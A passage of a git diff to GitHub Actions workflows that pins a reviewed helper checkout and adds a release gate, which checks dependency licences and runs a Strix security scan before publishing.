diff --git a/.github/workflows/exact-artifact-sbom-attestation.yml b/.github/workflows/exact-artifact-sbom-attestation.yml
index b038c5478e..198392aa0c 100644
--- a/.github/workflows/exact-artifact-sbom-attestation.yml
+++ b/.github/workflows/exact-artifact-sbom-attestation.yml
@@ -78,19 +78,39 @@ jobs:
       - name: Materialize immutable trusted verifier
         uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0
         with:
-          # job.workflow_repository/workflow_sha are not real Actions context
-          # properties (actionlint-flagged); this always resolved to an empty
-          # repository/ref, silently defaulting checkout away from the pinned
-          # trusted verifier source. ContextualWisdomLab/.github is this
-          # workflow's own repository; github.workflow_sha is the real,
-          # documented property for its pinned commit.
+          # Independently reviewed helper snapshot, not caller/called workflow SHA.
           repository: ContextualWisdomLab/.github
-          ref: ${{ github.workflow_sha }}
+          # Reviewed helper revision; intentionally distinct from workflow revision.
+          ref: 00c6551183cca101cfc97c43656a17cc2491c1b4
           path: trusted-intake
           persist-credentials: false
-          sparse-checkout: scripts/ci/verify_exact_artifact_sbom_handoff.py
+          sparse-checkout: |
+            scripts/ci/
+            requirements-strix-ci-hashes.txt
           sparse-checkout-cone-mode: false
 
+      - name: Verify fixed helper checkout identity
+        env:
+          HELPER_ROOT: trusted-intake
+          CALLER_WORKFLOW_SHA: ${{ github.workflow_sha }}
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          expected=00c6551183cca101cfc97c43656a17cc2491c1b4
+          test "$(git -C "$HELPER_ROOT" rev-parse HEAD)" = "$expected"
+          origin="$(git -C "$HELPER_ROOT" remote get-url origin)"
+          case "$origin" in
+            https://github.com/ContextualWisdomLab/.github|https://github.com/ContextualWisdomLab/.github.git) ;;
+            *) echo "Foreign helper repository" >&2; exit 1 ;;
+          esac
+          test "$(git -C "$HELPER_ROOT" rev-parse HEAD:scripts/ci)" = bf26d3eefdb71fe79b855d941ffb46eb432b2f76
+          test "$(git -C "$HELPER_ROOT" rev-parse HEAD:requirements-strix-ci-hashes.txt)" = 9e705850b5ce53c7fe836bc3df3a18771151e3f6
+          git -C "$HELPER_ROOT" diff --exit-code HEAD -- scripts/ci requirements-strix-ci-hashes.txt
+          test -f "$HELPER_ROOT/scripts/ci/release_dependency_gate.py"
+          test -f "$HELPER_ROOT/scripts/ci/verify_exact_artifact_sbom_handoff.py"
+          test -f "$HELPER_ROOT/requirements-strix-ci-hashes.txt"
+          printf 'helper_repository=ContextualWisdomLab/.github helper_sha=%s caller_workflow_sha=%s\n' "$expected" "$CALLER_WORKFLOW_SHA"
+
+
       - name: Verify immutable same-run artifact metadata
         env:
           GH_TOKEN: ${{ github.token }}
@@ -177,19 +197,39 @@ jobs:
       - name: Materialize immutable trusted verifier
         uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0
         with:
-          # job.workflow_repository/workflow_sha are not real Actions context
-          # properties (actionlint-flagged); this always resolved to an empty
-          # repository/ref, silently defaulting checkout away from the pinned
-          # trusted verifier source. ContextualWisdomLab/.github is this
-          # workflow's own repository; github.workflow_sha is the real,
-          # documented property for its pinned commit.
+          # Independently reviewed helper snapshot, not caller/called workflow SHA.
           repository: ContextualWisdomLab/.github
-          ref: ${{ github.workflow_sha }}
+          # Reviewed helper revision; intentionally distinct from workflow revision.
+          ref: 00c6551183cca101cfc97c43656a17cc2491c1b4
           path: trusted-signer
           persist-credentials: false
-          sparse-checkout: scripts/ci/verify_exact_artifact_sbom_handoff.py
+          sparse-checkout: |
+            scripts/ci/
+            requirements-strix-ci-hashes.txt
           sparse-checkout-cone-mode: false
 
+      - name: Verify fixed helper checkout identity
+        env:
+          HELPER_ROOT: trusted-signer
+          CALLER_WORKFLOW_SHA: ${{ github.workflow_sha }}
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          expected=00c6551183cca101cfc97c43656a17cc2491c1b4
+          test "$(git -C "$HELPER_ROOT" rev-parse HEAD)" = "$expected"
+          origin="$(git -C "$HELPER_ROOT" remote get-url origin)"
+          case "$origin" in
+            https://github.com/ContextualWisdomLab/.github|https://github.com/ContextualWisdomLab/.github.git) ;;
+            *) echo "Foreign helper repository" >&2; exit 1 ;;
+          esac
+          test "$(git -C "$HELPER_ROOT" rev-parse HEAD:scripts/ci)" = bf26d3eefdb71fe79b855d941ffb46eb432b2f76
+          test "$(git -C "$HELPER_ROOT" rev-parse HEAD:requirements-strix-ci-hashes.txt)" = 9e705850b5ce53c7fe836bc3df3a18771151e3f6
+          git -C "$HELPER_ROOT" diff --exit-code HEAD -- scripts/ci requirements-strix-ci-hashes.txt
+          test -f "$HELPER_ROOT/scripts/ci/release_dependency_gate.py"
+          test -f "$HELPER_ROOT/scripts/ci/verify_exact_artifact_sbom_handoff.py"
+          test -f "$HELPER_ROOT/requirements-strix-ci-hashes.txt"
+          printf 'helper_repository=ContextualWisdomLab/.github helper_sha=%s caller_workflow_sha=%s\n' "$expected" "$CALLER_WORKFLOW_SHA"
+
+
       - name: Verify immutable same-run artifact metadata
         env:
           GH_TOKEN: ${{ github.token }}
@@ -275,9 +315,7 @@ jobs:
       - name: Verify online and prepare offline bundles
         env:
           GH_TOKEN: ${{ github.token }}
-          # job.workflow_repository is not a real Actions context property
-          # (actionlint-flagged); ContextualWisdomLab/.github is this workflow's
-          # own repository, matching the pinned checkout above.
+          # Signer repository is fixed independently of the caller identity.
           SIGNER_REPOSITORY: ContextualWisdomLab/.github
           PREDICATE_TYPE: ${{ inputs.predicate_type }}
           SOURCE_REPOSITORY: ${{ inputs.source_repository }}
@@ -400,4 +438,4 @@ jobs:
           name: exact-artifact-sbom-offline-verification
           path: offline-attestation-evidence
           if-no-files-found: error
-          retention-days: 90
\ No newline at end of file
+          retention-days: 90
diff --git a/.github/workflows/release-dependency-license-strix-gate.yml b/.github/workflows/release-dependency-license-strix-gate.yml
new file mode 100644
index 0000000000..2d31a6835a
--- /dev/null
+++ b/.github/workflows/release-dependency-license-strix-gate.yml
@@ -0,0 +1,631 @@
+name: Release Dependency License and Strix Gate
+
+# Central pre-publish dependency gate (issue #2342). A release workflow calls
+# this BEFORE it publishes anything. There is no neutral outcome: the gate
+# either succeeds or the release is refused. The organization's scheduled SBOM
+# roll-up (scripts/ci/sbom_inventory_aggregator.py) is informational governance
+# reporting and is deliberately not reused here.
+#
+# On success the job's outputs are exactly the inputs of
+# .github/workflows/exact-artifact-sbom-attestation.yml, so the caller chains:
+#
+#   gate:
+#     uses: ContextualWisdomLab/.github/.github/workflows/release-dependency-license-strix-gate.yml@<sha>
+#     secrets: inherit
+#   attest:
+#     needs: gate
+#     uses: ContextualWisdomLab/.github/.github/workflows/exact-artifact-sbom-attestation.yml@<sha>
+#     with:
+#       source_repository: ${{ needs.gate.outputs.source_repository }}
+#       ...
+#
+# Provenance then covers exactly the bytes the gate examined.
+
+on:
+  workflow_call:
+    inputs:
+      source_repository:
+        description: Release repository in owner/name form.
+        required: true
+        type: string
+      source_sha:
+        description: Exact release head commit SHA.
+        required: true
+        type: string
+      ecosystems:
+        description: Comma-separated ecosystems to enumerate (python and/or cargo).
+        required: true
+        type: string
+      python_lock_path:
+        description: Hash-pinned Python lock installed into the build environment.
+        required: false
+        type: string
+        default: ""
+      cargo_manifest_path:
+        description: Release Cargo.toml whose Cargo.lock and build graph are gated.
+        required: false
+        type: string
+        default: ""
+      build_artifact_name:
+        description: Caller artifact holding the exact wheel and sdist to publish.
+        required: true
+        type: string
+      build_artifact_id:
+        description: Immutable upload-artifact ID from this caller run.
+        required: true
+        type: string
+      build_artifact_digest:
+        description: Expected sha256-prefixed artifact digest from the producer upload.
+        required: true
+        type: string
+      wheel_filename:
+        description: Exact wheel filename inside the build artifact.
+        required: true
+        type: string
+      sdist_filename:
+        description: Exact source distribution filename inside the build artifact.
+        required: true
+        type: string
+      evidence_artifact_name:
+        description: Unique per-call sealed evidence name; also namespaces diagnostic reports. The default retains legacy report names.
+        required: false
+        type: string
+        default: release-dependency-sealed-evidence
+    # The five provider credentials are declared optional so the licence stage,
+    # which needs none of them, can run on a review-only negative fixture that
+    # never reaches Strix. Optional is not lenient: the Strix stage refuses to
+    # start unless all five are present (STRIX_CREDENTIALS_ABSENT), so an allowed
+    # input that reaches Strix without credentials fails closed rather than being
+    # skipped, neutralized, or passed. `required: false` exists so a caller that
+    # passes no secrets fails on the *licence decision* rather than on
+    # `workflow_call` schema validation — a schema error is not evidence of a
+    # licence denial or of Strix being blocked. It is not an invitation to supply
+    # dummy secrets, and it does not widen any caller's secret exposure.
+    secrets:
+      BYTEZ_API_KEY:
+        required: false
+      NVIDIA_NIM_API_KEY:
+        required: false
+      NVIDIA_NIM_API_KEY_SUB:
+        required: false
+      OPENROUTER_API_KEY:
+        required: false
+      OPENAI_API_KEY:
+        required: false
+    outputs:
+      source_repository:
+        description: Gated release repository.
+        value: ${{ jobs.gate.outputs.source_repository }}
+      source_sha:
+        description: Gated release head SHA.
+        value: ${{ jobs.gate.outputs.source_sha }}
+      evidence_artifact_id:
+        description: Immutable same-run sealed evidence artifact ID.
+        value: ${{ jobs.gate.outputs.evidence_artifact_id }}
+      evidence_artifact_name:
+        description: Sealed evidence artifact name.
+        value: ${{ jobs.gate.outputs.evidence_artifact_name }}
+      evidence_artifact_digest:
+        description: Sealed evidence artifact digest in sha256:<hex> form.
+        value: ${{ jobs.gate.outputs.evidence_artifact_digest }}
+      wheel_filename:
+        description: Exact gated wheel filename.
+        value: ${{ jobs.gate.outputs.wheel_filename }}
+      wheel_sha256:
+        description: SHA-256 of the exact gated wheel.
+        value: ${{ jobs.gate.outputs.wheel_sha256 }}
+      wheel_sbom_filename:
+        description: CycloneDX SBOM filename for the gated wheel.
+        value: ${{ jobs.gate.outputs.wheel_sbom_filename }}
+      wheel_sbom_sha256:
+        description: SHA-256 of the gated wheel's CycloneDX SBOM.
+        value: ${{ jobs.gate.outputs.wheel_sbom_sha256 }}
+      sdist_filename:
+        description: Exact gated source distribution filename.
+        value: ${{ jobs.gate.outputs.sdist_filename }}
+      sdist_sha256:
+        description: SHA-256 of the exact gated source distribution.
+        value: ${{ jobs.gate.outputs.sdist_sha256 }}
+      sdist_sbom_filename:
+        description: CycloneDX SBOM filename for the gated source distribution.
+        value: ${{ jobs.gate.outputs.sdist_sbom_filename }}
+      sdist_sbom_sha256:
+        description: SHA-256 of the gated source distribution's CycloneDX SBOM.
+        value: ${{ jobs.gate.outputs.sdist_sbom_sha256 }}
+      source_identity_sha256:
+        description: SHA-256 of the sealed source-identity.json.
+        value: ${{ jobs.gate.outputs.source_identity_sha256 }}
+      checksum_sha256:
+        description: SHA-256 of the sealed checksums.sha256.
+        value: ${{ jobs.gate.outputs.checksum_sha256 }}
+      predicate_type:
+        description: Canonical CycloneDX in-toto predicate type.
+        value: ${{ jobs.gate.outputs.predicate_type }}
+      cyclonedx_schema:
+        description: Canonical CycloneDX 1.7 schema URL.
+        value: ${{ jobs.gate.outputs.cyclonedx_schema }}
+
+permissions:
+  contents: read
+
+env:
+  FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
+
+jobs:
+  gate:
+    name: Gate every resolved dependency before publishing
+    runs-on: ubuntu-24.04
+    timeout-minutes: 360
+    permissions:
+      contents: read
+      actions: read
+    outputs:
+      source_repository: ${{ steps.seal.outputs.source_repository }}
+      source_sha: ${{ steps.seal.outputs.source_sha }}
+      evidence_artifact_id: ${{ steps.sealed-evidence.outputs.artifact-id }}
+      evidence_artifact_name: ${{ steps.seal.outputs.evidence_artifact_name }}
+      evidence_artifact_digest: sha256:${{ steps.sealed-evidence.outputs.artifact-digest }}
+      wheel_filename: ${{ steps.seal.outputs.wheel_filename }}
+      wheel_sha256: ${{ steps.seal.outputs.wheel_sha256 }}
+      wheel_sbom_filename: ${{ steps.seal.outputs.wheel_sbom_filename }}
+      wheel_sbom_sha256: ${{ steps.seal.outputs.wheel_sbom_sha256 }}
+      sdist_filename: ${{ steps.seal.outputs.sdist_filename }}
+      sdist_sha256: ${{ steps.seal.outputs.sdist_sha256 }}
+      sdist_sbom_filename: ${{ steps.seal.outputs.sdist_sbom_filename }}
+      sdist_sbom_sha256: ${{ steps.seal.outputs.sdist_sbom_sha256 }}
+      source_identity_sha256: ${{ steps.seal.outputs.source_identity_sha256 }}
+      checksum_sha256: ${{ steps.seal.outputs.checksum_sha256 }}
+      predicate_type: ${{ steps.seal.outputs.predicate_type }}
+      cyclonedx_schema: ${{ steps.seal.outputs.cyclonedx_schema }}
+    steps:
+      - name: Harden runner
+        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        with:
+          egress-policy: audit
+
+      - name: Materialize immutable trusted gate
+        uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0
+        with:
+          repository: ContextualWisdomLab/.github
+          # Reviewed helper revision; intentionally distinct from workflow revision.
+          ref: 00c6551183cca101cfc97c43656a17cc2491c1b4
+          path: trusted-gate
+          persist-credentials: false
+          # The whole scripts/ci tree, not an enumerated file list: the trusted
+          # Strix gate, the orchestrator sidecar and the token loader each source
+          # siblings by their own directory (strix_model_utils.sh,
+          # sanitize_contextual_orchestrator_sidecar_stream.py,
+          # install_strix_timeout_compat.py, strix_timeout_compat.py, …), and an
+          # enumeration silently breaks the moment one of them gains another.
+          sparse-checkout: |
+            scripts/ci/
+            requirements-strix-ci-hashes.txt
+          sparse-checkout-cone-mode: false
+
+      - name: Verify fixed helper checkout identity
+        env:
+          HELPER_ROOT: trusted-gate
+          CALLER_WORKFLOW_SHA: ${{ github.workflow_sha }}
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          expected=00c6551183cca101cfc97c43656a17cc2491c1b4
+          test "$(git -C "$HELPER_ROOT" rev-parse HEAD)" = "$expected"
+          origin="$(git -C "$HELPER_ROOT" remote get-url origin)"
+          case "$origin" in
+            https://github.com/ContextualWisdomLab/.github|https://github.com/ContextualWisdomLab/.github.git) ;;
+            *) echo "Foreign helper repository" >&2; exit 1 ;;
+          esac
+          test "$(git -C "$HELPER_ROOT" rev-parse HEAD:scripts/ci)" = bf26d3eefdb71fe79b855d941ffb46eb432b2f76
+          test "$(git -C "$HELPER_ROOT" rev-parse HEAD:requirements-strix-ci-hashes.txt)" = 9e705850b5ce53c7fe836bc3df3a18771151e3f6
+          git -C "$HELPER_ROOT" diff --exit-code HEAD -- scripts/ci requirements-strix-ci-hashes.txt
+          test -f "$HELPER_ROOT/scripts/ci/release_dependency_gate.py"
+          test -f "$HELPER_ROOT/scripts/ci/verify_exact_artifact_sbom_handoff.py"
+          test -f "$HELPER_ROOT/requirements-strix-ci-hashes.txt"
+          printf 'helper_repository=ContextualWisdomLab/.github helper_sha=%s caller_workflow_sha=%s\n' "$expected" "$CALLER_WORKFLOW_SHA"
+
+      - name: Validate the exact release identity before anything else runs
+        env:
+          SOURCE_REPOSITORY: ${{ inputs.source_repository }}
+          SOURCE_SHA: ${{ inputs.source_sha }}
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          # `workflow_call` can only type these inputs as `string`, so a branch
+          # name or a short SHA would otherwise be accepted here and only caught
+          # by the gate's own 40-hex check after Strix had already run. The shape
+          # is therefore checked by the trusted gate before the release head is
+          # even fetched, and long before any credential is materialized.
+          python3 -I trusted-gate/scripts/ci/release_dependency_gate.py validate-inputs \
+            --source-repository "$SOURCE_REPOSITORY" \
+            --source-sha "$SOURCE_SHA"
+
+      - name: Check out the exact release head
+        uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0
+        with:
+          repository: ${{ inputs.source_repository }}
+          ref: ${{ inputs.source_sha }}
+          path: release-source
+          persist-credentials: false
+
+      - name: Set up the release build interpreter
+        uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
+        with:
+          python-version: "3.13"
+
+      - name: Verify immutable same-run build artifact metadata
+        env:
+          GH_TOKEN: ${{ github.token }}
+          SOURCE_REPOSITORY: ${{ inputs.source_repository }}
+          ARTIFACT_ID: ${{ inputs.build_artifact_id }}
+          ARTIFACT_NAME: ${{ inputs.build_artifact_name }}
+          ARTIFACT_DIGEST: ${{ inputs.build_artifact_digest }}
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          # Reuse the exact-artifact attestation's same-run metadata boundary.
+          test "$SOURCE_REPOSITORY" = "$GITHUB_REPOSITORY"
+          [[ "$ARTIFACT_ID" =~ ^[1-9][0-9]*$ ]]
+          [[ "$ARTIFACT_DIGEST" =~ ^sha256:[0-9a-f]{64}$ ]]
+          artifact_json="$(gh api "/repos/${SOURCE_REPOSITORY}/actions/artifacts/${ARTIFACT_ID}")"
+          jq -e \
+            --arg id "$ARTIFACT_ID" \
+            --arg name "$ARTIFACT_NAME" \
+            --arg digest "$ARTIFACT_DIGEST" \
+            --argjson run_id "$GITHUB_RUN_ID" \
+            '(.id | tostring) == $id and .name == $name and .digest == $digest and .workflow_run.id == $run_id and .expired == false' \
+            <<<"$artifact_json" >/dev/null
+
+      - name: Download the exact distributions the caller intends to publish
+        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
+        with:
+          artifact-ids: ${{ inputs.build_artifact_id }}
+          digest-mismatch: error
+          path: release-distributions
+
+      - name: Collect the release closure without installing or executing it
+        env:
+          ECOSYSTEMS: ${{ inputs.ecosystems }}
+          PYTHON_LOCK_PATH: ${{ inputs.python_lock_path }}
+          CARGO_MANIFEST_PATH: ${{ inputs.cargo_manifest_path }}
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          python_lock=""
+          cargo_manifest=""
+          if [ -n "$PYTHON_LOCK_PATH" ]; then
+            python_lock="${PWD}/release-source/${PYTHON_LOCK_PATH}"
+          fi
+          if [ -n "$CARGO_MANIFEST_PATH" ]; then
+            cargo_manifest="${PWD}/release-source/${CARGO_MANIFEST_PATH}"
+          fi
+          bash trusted-gate/scripts/ci/release_dependency_capture_raw.sh \
+            --raw-root "${RUNNER_TEMP}/raw" \
+            --capture-root "${RUNNER_TEMP}/capture" \
+            --ecosystems "$ECOSYSTEMS" \
+            --python-lock "$python_lock" \
+            --download-root "${RUNNER_TEMP}/collected" \
+            --cargo-manifest "$cargo_manifest"
+
+      - name: Assemble per-dependency evidence and isolated synthetic fixtures
+        env:
+          SOURCE_REPOSITORY: ${{ inputs.source_repository }}
+          SOURCE_SHA: ${{ inputs.source_sha }}
+          ECOSYSTEMS: ${{ inputs.ecosystems }}
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          jq -n \
+            --arg repository "$SOURCE_REPOSITORY" \
+            --arg sha "$SOURCE_SHA" \
+            --arg ecosystems "$ECOSYSTEMS" \
+            '{source_repository: $repository, source_sha: $sha,
+              ecosystems: ($ecosystems | split(","))}' \
+            > "${RUNNER_TEMP}/capture/release.json"
+          python3 -I trusted-gate/scripts/ci/release_dependency_gate.py capture \
+            --raw "${RUNNER_TEMP}/raw" \
+            --capture "${RUNNER_TEMP}/capture"
+
+      - name: Refuse a denied or unverifiable licence before any credential exists
+        id: license-stage
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          # The licence determination runs here, ahead of every credentialed and
+          # model step, using the *same* evaluate_dependency_license path the final
+          # gate uses — so a GPL/LGPL/AGPL dependency, an UNKNOWN licence, or an
+          # `OR` expression with no recorded permissive selection refuses the
+          # release before a provider secret is ever read. `capture` alone does not
+          # reject a licence; it only assembles evidence and fixtures. This stage
+          # also performs the full-set scope comparison, so an ecosystem whose
+          # membership cannot be established fails here too.
+          python3 -I trusted-gate/scripts/ci/release_dependency_gate.py prescreen \
+            --capture "${RUNNER_TEMP}/capture" \
+            --report "${RUNNER_TEMP}/license-report.json"
+
+      - name: Install the prescreened closure into a lock-only environment
+        if: ${{ inputs.python_lock_path != '' }}
+        env:
+          PYTHON_LOCK_PATH: ${{ inputs.python_lock_path }}
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          # Installing runs dependency code, so it happens only after the licence
+          # stage above has passed, and only from the bytes that stage judged:
+          # --no-index --find-links over the collected distributions, with
+          # --require-hashes so pip proves each file against the lock. Nothing is
+          # re-resolved or re-downloaded, so the installed bytes are the inspected
+          # bytes even when the lock records several hashes for a project.
+          # --without-pip keeps the environment's contents exactly what the lock
+          # installed, so LOCK_ENV_MISMATCH means a real disagreement.
+          python3 -m venv --without-pip "${RUNNER_TEMP}/gate-venv"
+          bash trusted-gate/scripts/ci/release_dependency_capture_raw.sh \
+            --install-gated \
+            --python-lock "${PWD}/release-source/${PYTHON_LOCK_PATH}" \
+            --python-interpreter "${RUNNER_TEMP}/gate-venv/bin/python" \
+            --capture-root "${RUNNER_TEMP}/capture" \
+            --download-root "${RUNNER_TEMP}/collected" \
+            --license-report "${RUNNER_TEMP}/license-report.json"
+
+      - name: Require every Strix provider credential before the Strix stage starts
+        env:
+          BYTEZ_API_KEY: ${{ secrets.BYTEZ_API_KEY }}
+          NVIDIA_NIM_API_KEY: ${{ secrets.NVIDIA_NIM_API_KEY }}
+          NVIDIA_NIM_API_KEY_SUB: ${{ secrets.NVIDIA_NIM_API_KEY_SUB }}
+          OPENROUTER_API_KEY: ${{ secrets.OPENROUTER_API_KEY }}
+          OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          # The secrets are optional on the contract so the licence stage above can
+          # run without them. An allowed input that gets this far must still be
+          # scanned, so absence is a refusal with STRIX_CREDENTIALS_ABSENT. This is
+          # deliberately not an `if:` condition: a condition would *skip* the Strix
+          # stage and let the release proceed unscanned. The reason code names only
+          # the absent variables and never echoes or measures a present value.
+          python3 -I trusted-gate/scripts/ci/release_dependency_gate.py require-strix-credentials
+
+      - name: Provision the zero-cost review gateway for Strix
+        env:
+          BYTEZ_API_KEY: ${{ secrets.BYTEZ_API_KEY }}
+          NVIDIA_NIM_API_KEY: ${{ secrets.NVIDIA_NIM_API_KEY }}
+          NVIDIA_NIM_API_KEY_SUB: ${{ secrets.NVIDIA_NIM_API_KEY_SUB }}
+          OPENROUTER_API_KEY: ${{ secrets.OPENROUTER_API_KEY }}
+          OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          bash trusted-gate/scripts/ci/contextual_orchestrator_review_sidecar.sh
+
+      # Scope boundary, recorded rather than left implicit. The steps below install
+      # the *gate's own* toolchain — this repository's hash-pinned
+      # requirements-strix-ci-hashes.txt, materialized from github.workflow_sha, and
+      # the orchestrator sidecar's own pinned lock. They are a different trust domain
+      # from the caller's release closure: they are pinned and reviewed in this
+      # repository, and the licence stage that judges the closure cannot judge the
+      # scanner it has to run first without a cycle. They are therefore NOT covered by
+      # the prescreen above, and that is a stated limit, not an exemption: bringing
+      # the gate's own dependencies under a licence verdict is an owner decision,
+      # tracked separately, and nothing here may be read as evidence that it happened.
+      - name: Install the pinned Strix toolchain
+        working-directory: trusted-gate
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          # Mirrors .github/workflows/strix.yml's install invariants: a private
+          # umask so the credential-bearing console script is not group-writable,
+          # --no-deps because strix-agent declares cryptography<49 against this
+          # repository's cryptography==50.0.0 security pin (see
+          # requirements-strix-ci-overrides.txt, #952), and an absolute,
+          # non-symlinked executable inside the interpreter's own scripts root.
+          umask 022
+          python3 -m pip install --disable-pip-version-check --no-cache-dir \
+            --require-hashes --no-deps -r requirements-strix-ci-hashes.txt
+          strix_executable=""
+          if command -v strix >/dev/null 2>&1; then
+            strix_executable="$(command -v strix)"
+          fi
+          if [ -z "$strix_executable" ] || [[ "$strix_executable" != /* ]] \
+            || [ ! -f "$strix_executable" ] || [ -L "$strix_executable" ] \
+            || [ ! -x "$strix_executable" ]; then
+            echo "::error::Pinned Strix installation did not produce a trusted absolute executable path."
+            exit 1
+          fi
+          case "$strix_executable" in
+            "$GITHUB_WORKSPACE"/*|"$RUNNER_TEMP"/*)
+              echo "::error::Refusing a Strix executable from a workspace or runner-temp path."
+              exit 1
+              ;;
+          esac
+          strix_scripts_root="$(python3 -c 'import sysconfig; print(sysconfig.get_path("scripts"))')"
+          if [ -z "$strix_scripts_root" ] || [[ "$strix_scripts_root" != /* ]] \
+            || [ ! -d "$strix_scripts_root" ] || [ -L "$strix_scripts_root" ]; then
+            echo "::error::Pinned Strix installation did not produce a trusted absolute scripts root."
+            exit 1
+          fi
+          case "$strix_executable" in
+            "$strix_scripts_root"/*) ;;
+            *)
+              echo "::error::Pinned Strix executable is outside the trusted scripts root."
+              exit 1
+              ;;
+          esac
+          chmod go-w -- "$strix_scripts_root" "$strix_executable"
+          {
+            printf 'STRIX_EXECUTABLE_PATH=%s\n' "$strix_executable"
+            printf 'STRIX_EXECUTABLE_ROOT=%s\n' "$strix_scripts_root"
+            printf 'STRIX_EXECUTABLE_SHA256=%s\n' \
+              "$(sha256sum "$strix_executable" | cut -d' ' -f1)"
+          } >> "$GITHUB_ENV"
+
+      - name: Bind the zero-cost model, key, and API base for Strix
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          source trusted-gate/scripts/ci/load_contextual_orchestrator_token.sh
+          sanitized="$(printf '%s' "${CONTEXTUAL_ORCHESTRATOR_TOKEN:-}" | tr -d '\r\n')"
+          trimmed="$(printf '%s' "$sanitized" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')"
+          if [ -z "$trimmed" ]; then
+            echo '::error::CONTEXTUAL_ORCHESTRATOR_TOKEN is required for Strix scans.'
+            exit 1
+          fi
+          echo "::add-mask::${trimmed}"
+          sidecar_base="${CONTEXTUAL_ORCHESTRATOR_BASE_URL:-}"
+          if [ "$sidecar_base" != "http://127.0.0.1:18080" ]; then
+            echo '::error::Strix sidecar base URL is not the pinned local gateway origin.'
+            exit 1
+          fi
+          umask 077
+          printf '%s' "$trimmed" > "${RUNNER_TEMP}/llm_api_key.txt"
+          printf '%s/v1' "${sidecar_base%/}" > "${RUNNER_TEMP}/llm_api_base.txt"
+          printf '%s' 'orchestrator/free' > "${RUNNER_TEMP}/strix_llm.txt"
+          {
+            printf 'LLM_API_KEY_FILE=%s\n' "${RUNNER_TEMP}/llm_api_key.txt"
+            printf 'LLM_API_BASE_FILE=%s\n' "${RUNNER_TEMP}/llm_api_base.txt"
+            printf 'STRIX_LLM_FILE=%s\n' "${RUNNER_TEMP}/strix_llm.txt"
+          } >> "$GITHUB_ENV"
+
+      - name: Run Strix against one isolated synthetic fixture per dependency
+        env:
+          STRIX_LLM_DEFAULT_PROVIDER: contextual_orchestrator
+          STRIX_REASONING_EFFORT: none
+          STRIX_FALLBACK_MODELS: ""
+          STRIX_FAIL_ON_PROVIDER_SIGNAL: "1"
+          STRIX_FAIL_ON_MIN_SEVERITY: MEDIUM
+          STRIX_DISABLE_PR_SCOPING: "1"
+          # Narrow the scan to the fixture subdirectory. The trusted gate
+          # requires its evidence binder at $STRIX_REPO_ROOT/scripts/ci on
+          # current main, so the workspace root necessarily holds that module;
+          # scanning "./" would pentest the trusted binder itself and fail every
+          # dependency on a finding against code this PR did not ship.
+          STRIX_TARGET_PATH: fixture
+          STRIX_SOURCE_DIRS: "."
+          # strix_quick_gate.sh treats PR_NUMBER/PR_BASE_SHA/PR_HEAD_SHA as
+          # optional and defaults IS_PR_EVIDENCE_RUN to false; this is a release
+          # scan, not PR evidence, so the value is stated rather than implied.
+          IS_PR_EVIDENCE_RUN: "false"
+          NPM_CONFIG_IGNORE_SCRIPTS: "true"
+          PNPM_CONFIG_IGNORE_SCRIPTS: "true"
+          YARN_ENABLE_SCRIPTS: "false"
+          BUN_CONFIG_IGNORE_SCRIPTS: "true"
+          SOURCE_SHA: ${{ inputs.source_sha }}
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          # docs/product-goal-directive.md section 8: elapsed inference time is
+          # never converted into a model-failure verdict.
+          export LLM_TIMEOUT=0
+          export STRIX_MEMORY_COMPRESSOR_TIMEOUT=0
+          export STRIX_PROCESS_TIMEOUT_SECONDS=0
+          export STRIX_TOTAL_TIMEOUT_SECONDS=0
+          trusted_gate_root="${PWD}/trusted-gate"
+          mkdir -p "${RUNNER_TEMP}/capture/strix/bindings"
+          for fixture in "${RUNNER_TEMP}"/capture/strix/fixtures/*.json; do
+            slug="$(basename "$fixture" .json)"
+            workspace="${RUNNER_TEMP}/strix-workspace/${slug}"
+            mkdir -p "$workspace/scripts/ci" "$workspace/fixture"
+            cp "$fixture" "$workspace/fixture/fixture.json"
+            # sanitize_remediation_evidence_claims returns 2 when
+            # $REPO_ROOT/scripts/ci/strix_evidence_binding.py is absent, and
+            # REPO_ROOT is STRIX_REPO_ROOT on current main (its own script
+            # directory once #2291 lands). The trusted binder is therefore copied
+            # into each isolated workspace so both resolutions hold without
+            # editing strix_quick_gate.sh, which #2291 owns. It sits beside the
+            # scan target, never inside it.
+            cp "$trusted_gate_root/scripts/ci/strix_evidence_binding.py" \
+              "$workspace/scripts/ci/strix_evidence_binding.py"
+            (
+              cd "$workspace" &&
+                STRIX_REPO_ROOT="$workspace" \
+                  bash "$trusted_gate_root/scripts/ci/strix_quick_gate.sh"
+            )
+            vulnerabilities=""
+            if [ -d "$workspace/strix_runs" ]; then
+              vulnerabilities="$(find "$workspace/strix_runs" -type f \
+                -name 'vulnerabilities.json' -print -quit)"
+            fi
+            if [ -z "$vulnerabilities" ]; then
+              echo "::warning::Strix produced no machine-readable findings file for ${slug};" \
+                "the gate will refuse the release with STRIX_BINDING_MISSING."
+              continue
+            fi
